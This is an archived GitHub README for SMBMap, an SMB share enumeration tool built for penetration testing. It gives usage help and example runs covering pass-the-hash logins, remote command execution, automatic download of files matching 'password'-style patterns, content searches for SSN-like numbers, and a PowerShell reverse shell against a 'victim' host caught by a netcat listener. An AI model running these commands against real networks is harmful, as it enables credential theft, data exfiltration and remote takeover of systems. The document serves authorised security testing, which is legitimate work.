GitHub - ShawnDEvans/smbmap: SMBMap is a handy SMB enumeration tool

By NopSec-Sevans

Archived: 2026-04-05 19:46:36 UTC

SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands. This tool was designed with pen testing in mind, and is intended to simplify searching for potentially sensitive data across large networks.

Some of the features have not been thoroughly tested, so changes will be forth coming as bugs are found. I only really find and fix the bugs while I'm on engagements, so progress is a bit slow. Any feedback or bug reports would be appreciated.

> **Note** SMBMap has been updated to Python3!

Installation

```
$ sudo pip3 install smbmap
$ smbmap
smbmap
usage: smbmap [-h] (-H HOST | --host-file FILE) [-u USERNAME] [-p PASSWORD | --prompt] [-s SHARE] [-
              [-P PORT] [-v] [--admin] [--no-banner] [--no-color] [--no-update] [-x COMMAND] [--mode
              [-L | -r [PATH]] [-A PATTERN | -g FILE | --csv FILE] [--dir-only] [--no-write-check]
              [-q] [--depth DEPTH] [--exclude SHARE [SHARE ...]] [-F PATTERN] [--search-path PATH]
              [--search-timeout TIMEOUT] [--download PATH] [--upload SRC DST] [--delete PATH TO FILE
...
```

Features:

- Pass-the-Hash Support
- File upload/download/delete
- Permission enumeration (writable share, meet Metasploit)
- Remote Command Execution
- Distrubted file content searching (beta!)
- File name matching (with an auto downoad capability)
- Host file parser supports IPs, host names, and CIDR
- SMB sigining detection
- Server version output
- Kerberos support! (super beta)

Help

```
 usage: smbmap.py [-h] (-H HOST | --host-file FILE) [-u USERNAME] [-p PASSWORD | --prompt] [-k] [--no-pass] [--d
                  [--timeout SCAN_TIMEOUT] [-x COMMAND] [--mode CMDMODE] [-L | -r [PATH]] [-g FILE | --csv FILE]
                  [--search-path PATH] [--search-timeout TIMEOUT] [--download PATH] [--upload SRC DST] [--delete

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
--------------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

options:
  -h, --help            show this help message and exit

Main arguments:
  -H HOST               IP or FQDN
  --host-file FILE      File containing a list of hosts
  -u USERNAME, --username USERNAME
                        Username, if omitted null session assumed
  -p PASSWORD, --password PASSWORD
                        Password or NTLM hash, format is LMHASH:NTHASH
  --prompt              Prompt for a password
  -s SHARE              Specify a share (default C$), ex 'C$'
  -d DOMAIN             Domain name (default WORKGROUP)
  -P PORT               SMB port (default 445)
  -v, --version         Return the OS version of the remote host
  --signing             Check if host has SMB signing disabled, enabled, or required
  --admin               Just report if the user is an admin
  --no-banner           Removes the banner from the top of the output
  --no-color            Removes the color from output
  --no-update           Removes the "Working on it" message
  --timeout SCAN_TIMEOUT
                        Set port scan socket timeout. Default is .5 seconds

Kerberos settings:
  -k, --kerberos        Use Kerberos authentication
  --no-pass             Use CCache file (export KRB5CCNAME='~/current.ccache')
  --dc-ip IP or Host    IP or FQDN of DC

Command Execution:
```

```
  Options for executing commands on the specified host

  -x COMMAND            Execute a command ex. 'ipconfig /all'
  --mode CMDMODE        Set the execution method, wmi or psexec, default wmi

Shard drive Search:
  Options for searching/enumerating the share of the specified host(s)

  -L                    List all drives on the specified host, requires ADMIN rights.
  -r [PATH]             Recursively list dirs and files (no share\path lists the root of ALL shares), ex. 'emai
  -g FILE               Output to a file in a grep friendly format, used with -r (otherwise it outputs nothing),
  --csv FILE            Output to a CSV file, ex --csv shares.csv
  --dir-only            List only directories, ommit files.
  --no-write-check      Skip check to see if drive grants WRITE access.
  -q                    Quiet verbose output. Only shows shares you have READ or WRITE on, and suppresses file l
  --depth DEPTH         Traverse a directory tree to a specific depth. Default is 1 (root node).
  --exclude SHARE [SHARE ...]
                        Exclude share(s) from searching and listing, ex. --exclude ADMIN$ C$'
  -A PATTERN            Define a file name pattern (regex) that auto downloads a file on a match (requires -r),

File Content Search:
  Options for searching the content of files (must run as root), kind of experimental

  -F PATTERN            File content search, -F '[Pp]assword' (requires admin access to execute commands, and Po
  --search-path PATH    Specify drive/path to search (used with -F, default C:\Users), ex 'D:\HR\'
  --search-timeout TIMEOUT
                        Specifcy a timeout (in seconds) before the file search job gets killed. Default is 300 s

Filesystem interaction:
  Options for interacting with the specified host's filesystem

  --download PATH       Download a file from the remote system, ex.'C$\temp\passwords.txt'
  --upload SRC DST      Upload a file to the remote system ex. '/tmp/payload.exe C$\temp\payload.exe'
  --delete PATH TO FILE
                        Delete a remote file, ex. 'C$\temp\msf.exe'
  --skip                Skip delete file confirmation prompt

Examples:

$ python smbmap.py -u jsmith -p password1 -d workgroup -H 192.168.0.1
$ python smbmap.py -u jsmith -p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H 172.16.0.
$ python smbmap.py -u 'apadmin' -p 'asdf1234!' -d ACME -Hh 10.1.3.30 -x 'net group "Domain Admins" /domain'
```

Default Output:

```
 $ ./smbmap.py -H 192.168.86.214 -u Administrator -p asdf1234


    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 --------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authentidated session(s)

[+] IP: 192.168.86.214:445 Name: shawnevans-pc.lan    Status: ADMIN!!!
        Disk                                                    Permissions      Comment
        ----                                                    -----------      -------
        ADMIN$                                                  READ, WRITE      Remote Admin
        C$                                                      READ, WRITE      Default share
        IPC$                                                    NO ACCESS        Remote IPC
        MS Publisher Color Printer                              NO ACCESS        MS Publisher Color Printer
        print$                                                  READ, WRITE      Printer Drivers
        Temp                                                    READ, WRITE
        Users                                                   READ, WRITE
```

Command execution:

```
 $ python smbmap.py -u ariley -p 'P@$$w0rd1234!' -d ABC -x 'net group "Domain Admins" /domain' -H 192.168.2.50
[+] Finding open SMB ports....
[+] User SMB session established...
[+] IP: 192.168.2.50:445        Name: unknown
Group name     Domain Admins
Comment        Designated administrators of the domain

Members

-------------------------------------------------------------------------------
abcadmin
The command completed successfully.
```

Non recursive path listing (ls):

```
 $ ./smbmap.py -H 192.168.86.214 -u Administrator -p asdf1234 -r c$ -q


    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                      https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authentidated session(s)

[+] IP: 192.168.86.214:445 Name: shawnevans-pc.lan    Status: ADMIN!!!
        Disk                                                    Permissions       Comment
        ----                                                    -----------       -------
        ADMIN$                                                  READ, WRITE       Remote Admin
        C$                                                      READ, WRITE       Default share
        ./C$
        dr--r--r--                0 Wed Apr 22 14:50:29 2015 $Recycle.Bin
        fr--r--r--             4284 Wed Oct  3 10:16:24 2018 ActivityLog.xsl
        dr--r--r--                0 Tue Nov 21 10:47:06 2023 Config.Msi
        dr--r--r--                0 Thu Apr  9 14:46:57 2015 Documents and Settings
        dr--r--r--                0 Mon Feb 15 16:45:44 2021 iDEFENSE
        dr--r--r--                0 Thu Sep 24 20:52:23 2015 nasm
        fr--r--r--       2513149952 Tue Nov 21 13:21:16 2023 pagefile.sys
        dr--r--r--                0 Thu Apr  9 14:46:48 2015 PerfLogs
        dw--w--w--                0 Mon Oct 30 09:20:53 2023 Program Files
        dw--w--w--                0 Fri Nov 17 03:27:46 2023 Program Files (x86)
        dr--r--r--                0 Wed Jun 14 13:39:51 2023 ProgramData
        dr--r--r--                0 Mon Oct  1 12:05:49 2018 Python27
        dr--r--r--                0 Thu Apr  9 13:49:31 2015 Recovery
        dr--r--r--                0 Thu Oct 15 13:04:27 2015 Scripts
        dr--r--r--                0 Tue Nov 21 11:13:24 2023 System Volume Information
        fr--r--r--          5194752 Mon Jan 18 11:12:13 2016 System.Management.Automation.dll
        fr--r--r--                0 Fri May 19 13:51:42 2023 TBIWYRVUOD.txt
        dr--r--r--                0 Thu Nov 23 13:04:51 2023 Temp
        fr--r--r--            15812 Wed Oct  3 10:16:45 2018 temp.log
        fr--r--r--               18 Thu Feb 13 15:55:55 2020 test.txt
        dr--r--r--                0 Wed Jun 21 12:43:46 2023 Tools
        dw--w--w--                0 Thu Nov 23 13:04:51 2023 Users
        dr--r--r--                0 Thu Nov 23 13:04:51 2023 Windows
        print$                                                  READ, WRITE       Printer Drivers
```

```
        Temp                                                    READ, WRITE
        Users                                                   READ, WRITE
```

Recursive listing

```
 $ ./smbmap.py -H 192.168.86.179 -u Administrator -p asdf1234 -r Tools --depth 2 --no-banner -q
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authentidated session(s)

[+] IP: 192.168.86.179:445 Name: desktop-m8n2dcc.lan  Status: ADMIN!!!
        Disk                                                    Permissions       Comment
        ----                                                    -----------       -------
        ADMIN$                                                  READ, WRITE       Remote Admin
        C                                                       READ ONLY
        C$                                                      READ, WRITE       Default share
        IPC$                                                    READ ONLY         Remote IPC
        Tools                                                   READ, WRITE
        ./Tools
        dr--r--r--                0 Fri Nov 24 08:51:45 2023 .
        dr--r--r--                0 Fri Nov 24 08:51:45 2023 ..
        fr--r--r--                0 Fri May 19 13:39:58 2023 AZNJSOWDQU
        dr--r--r--                0 Mon May 15 15:34:30 2023 CVE-2020-0688_EXP
        fr--r--r--            13821 Mon May 15 15:34:30 2023 Debug.txt
        dr--r--r--                0 Mon May 15 15:34:30 2023 diskmon
        fr--r--r--            13821 Mon May 15 15:34:30 2023 Errors.txt
        fr--r--r--                0 Fri May 19 13:42:42 2023 GNDBLUQZMA.txt
        fr--r--r--                0 Fri May 19 13:40:56 2023 HOQVWGAXEG
        fr--r--r--             2833 Mon May 15 15:34:30 2023 kiwi_passwords.yar
        fr--r--r--             2850 Mon May 15 15:34:30 2023 mimicom.idl
        dr--r--r--                0 Mon May 15 15:34:30 2023 portmon
        dr--r--r--                0 Mon May 15 15:34:30 2023 procexplorer
        dr--r--r--                0 Mon May 15 15:34:30 2023 ProcMon
        fr--r--r--             4951 Mon May 15 15:34:30 2023 README.md
        fr--r--r--             4605 Mon May 15 15:34:30 2023 README.txt
        fr--r--r--                0 Fri May 19 13:37:17 2023 RZFNUHSYET
        fr--r--r--           123515 Mon May 15 15:34:30 2023 SharePoint - URL Extensions - 18MAR2012.pdf
        fr--r--r--             2810 Mon May 15 15:34:30 2023 SharePoint-UrlExtensions-18Mar2012.txt
        fr--r--r--          3028050 Mon May 15 15:34:30 2023 SharePointURLBrute v1.1.exe
        fr--r--r--             8423 Mon May 15 15:34:30 2023 SharePointURLBrute v1.1.pl
        fr--r--r--              116 Mon May 15 15:34:30 2023 UrlsFound.txt
        dr--r--r--                0 Mon May 15 15:34:30 2023 Win32
        dr--r--r--                0 Mon May 15 15:34:30 2023 x64
        dr--r--r--                0 Mon May 15 15:34:30 2023 ysoserial
        ./Tools//CVE-2020-0688_EXP
        dr--r--r--                0 Mon May 15 15:34:30 2023 .
        dr--r--r--                0 Mon May 15 15:34:30 2023 ..
```

```
        dr--r--r--                0 Mon May 15 15:34:30 2023  .git
        fr--r--r--             4756 Mon May 15 15:34:30 2023  CVE-2020-0688_EXP.py
        fr--r--r--                0 Mon May 15 15:34:30 2023  nopsec.test'
        fr--r--r--             2169 Mon May 15 15:34:30 2023  README.md
        dr--r--r--                0 Mon May 15 15:34:30 2023  ysoserial-1.32
```

Recursive Filename Pattern Search

```
$ ./smbmap.py -H 192.168.86.179 -u Administrator -p asdf1234 -r 'c$/program files' --depth 2 -A '(password|con

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authentidated session(s)
[*] Performing file name pattern match!.
[+] Match found! Downloading: C$/program files/Amazon Web Services, Inc/Amazon WorkSpaces/Microsoft.Extensions.C
[+] Starting download: C$\program files\Amazon Web Services, Inc\Amazon WorkSpaces\Microsoft.Extensions.Configur
[+] File output to: /home/shawnevans/tools/smbmap/smbmap/192.168.86.179-C_program files_Amazon Web Services, Inc
[+] Match found! Downloading: C$/program files/Amazon Web Services, Inc/Amazon WorkSpaces/Microsoft.Extensions.C
[+] Starting download: C$\program files\Amazon Web Services, Inc\Amazon WorkSpaces\Microsoft.Extensions.Configur
[+] File output to: /home/shawnevans/tools/smbmap/smbmap/192.168.86.179-C_program files_Amazon Web Services, Inc
[+] Match found! Downloading: C$/program files/Amazon Web Services, Inc/Amazon WorkSpaces/Microsoft.Extensions.C
[+] Starting download: C$\program files\Amazon Web Services, Inc\Amazon WorkSpaces\Microsoft.Extensions.Configur
[+] File output to: /home/shawnevans/tools/smbmap/smbmap/192.168.86.179-C_program files_Amazon Web Services, Inc
[+] Match found! Downloading: C$/program files/Amazon Web Services, Inc/Amazon WorkSpaces/Microsoft.Extensions.L
[+] Starting download: C$\program files\Amazon Web Services, Inc\Amazon WorkSpaces\Microsoft.Extensions.Logging.
```

Scan for SMB signing support

```
$ ./smbmap.py --host-file local.txt --signing

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
```

```
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 ---------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 3 hosts serving SMB
[*] Established 3 SMB connections(s) and 2 authentidated session(s)
[-] 192.168.86.204         signing enabled (not required)
[!] 192.168.86.213         signing disabled
[+] 192.168.86.179         signing required
```

Get version info

```
 $ ./smbmap.py --host-file local.txt -v


    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 ---------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 3 hosts serving SMB
[*] Established 3 SMB connections(s) and 2 authentidated session(s)
[+] 192.168.86.204   is running Windows 6.1 Build 7601 (name:SHAWNEVANS-PC) (domain:SHAWNEVANS-PC)
[+] 192.168.86.213   is running Windows 6.1 Build 7601 (name:SHAWNEVANS-PC) (domain:SHAWNEVANS-PC)
[+] 192.168.86.179   is running Windows 10.0 Build 19041 (name:DESKTOP-M8N2DCC) (domain:DESKTOP-M8N2DCC)
```

File Content Searching:

```
 $ python smbmap.py --host-file ~/Desktop/smb-workstation-sml.txt -u NopSec -p 'NopSec1234!' -d widgetworld -F
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.0.99...
[+] User SMB session established on 192.168.0.85...
[+] User SMB session established on 192.168.0.89...
[+] File search started on 1 hosts...this could take a while
[+] Job 4650e5a97b9f4ca884613f4b started on 192.168.0.99, result will be stored at C:\Temp\4650e5a97b9f4ca88461
```

```
[+] File search started on 2 hosts...this could take a while
[+] Job e0c822a802eb455f96259f33 started on 192.168.0.85, result will be stored at C:\Windows\TEMP\e0c822a802eb4
[+] File search started on 3 hosts...this could take a while
[+] Job 0a5d352bf2bd4e288e0f8f36 started on 192.168.0.89, result will be stored at C:\Temp\0a5d352bf2bd4e288e0f8
[+] Grabbing search results, be patient, share drives tend to be big...
[+] Job 1 of 3 completed on 192.168.0.85...
[+] File successfully deleted: C$\Windows\TEMP\e0c822a802eb455f96259f33.txt
[+] Job 2 of 3 completed on 192.168.0.89...
[+] File successfully deleted: C$\Temp\0a5d352bf2bd4e288e0f8f36.txt
[+] Job 3 of 3 completed on 192.168.0.99...
[+] File successfully deleted: C$\Temp\4650e5a97b9f4ca884613f4b.txt
[+] All jobs complete
Host: 192.168.0.85         Pattern: [1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]
No matching patterns found

Host: 192.168.0.89         Pattern: [1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]
C:\Users\terdf\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JY5MGKVO\salesmaps[1].htm
C:\Users\terdf\OldFiles\Cache_2013522\Content.IE5\JY5MGKVO\salesmaps[1].htm

Host: 192.168.0.99         Pattern: [1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]
C:\Users\biffh\AppData\Local\Microsoft\Internet Explorer\DOMStore\L7W17OPZ\static.olark[1].xml
C:\Users\biffh\AppData\Local\Temp\Temporary Internet Files\Content.IE5\MIY2POGJ\validation[2].js
C:\Users\biffh\AppData\Local\Temp\Temporary Internet Files\Content.IE5\NV1MNBWA\Docs[1].htm
C:\Users\biffh\AppData\Local\Temp\Temporary Internet Files\Content.IE5\NV1MNBWA\Salesmaps[1].htm
```

Drive Listing:

This feature was added to complement the file content searching feature

```
 $ python smbmap.py -H 192.168.1.24 -u Administrator -p 'R33nisP!nckle' -L
[!] Missing domain...defaulting to WORKGROUP
[+] Finding open SMB ports....
[+] User SMB session established...
[+] IP: 192.168.1.24:445 Name: unknown
[+] Host 192.168.1.24 Local Drives: C:\ D:\
[+] Host 192.168.1.24 Net Drive(s):
    E:      \\vboxsrv\Public      VirtualBox Shared Folders
```

Nifty Shell:

Run Powershell Script on Victim SMB host (change the IP in the code to your IP addres, i.e where the shell connects back to)

```
 $ python smbmap.py -u jsmith -p 'R33nisP!nckle' -d ABC -H 192.168.2.50 -x 'powershell -command "function Revers
[+] Finding open SMB ports....
```

```
[+] User SMB session established...
[+] IP: 192.168.2.50:445        Name: unkown
[!] Error encountered, sharing violation, unable to retrieve output
```

Attackers Netcat Listener:

```
 $ nc -l 4445
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
 nt authority\system
```

Source: https://github.com/ShawnDEvans/smbmap